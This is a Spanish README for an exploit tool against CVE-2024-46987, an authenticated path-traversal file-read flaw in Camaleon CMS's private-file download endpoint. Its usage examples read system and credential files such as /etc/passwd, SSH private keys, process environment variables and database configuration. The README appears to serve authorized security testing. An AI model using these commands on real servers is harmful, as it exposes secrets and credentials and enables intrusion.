CVE-2024-46987 - Inclusión Local de Archivos en Camaleon CMS

Exploit de Inclusión Local de Archivos (LFI) autenticado para Camaleon CMS.

Vulnerabilidad

Camaleon CMS es vulnerable a un ataque LFI autenticado a través del endpoint /admin/media/download_private_file. El parámetro file no se sanitiza adecuadamente, lo que permite path traversal para leer archivos arbitrarios del servidor.

Versiones Afectadas

• Camaleon CMS < 2.8.2

Requisitos

pip install requests

Uso

# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"

# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt

Parámetros

Ejemplos

# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"

# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa

# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"

# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"

Aviso Legal

Esta herramienta está destinada exclusivamente a pruebas de seguridad autorizadas y fines educativos. Úsela solo en sistemas para los que tenga permiso explícito para realizar pruebas.

Referencias

• CVE-2024-46987
• Camaleon CMS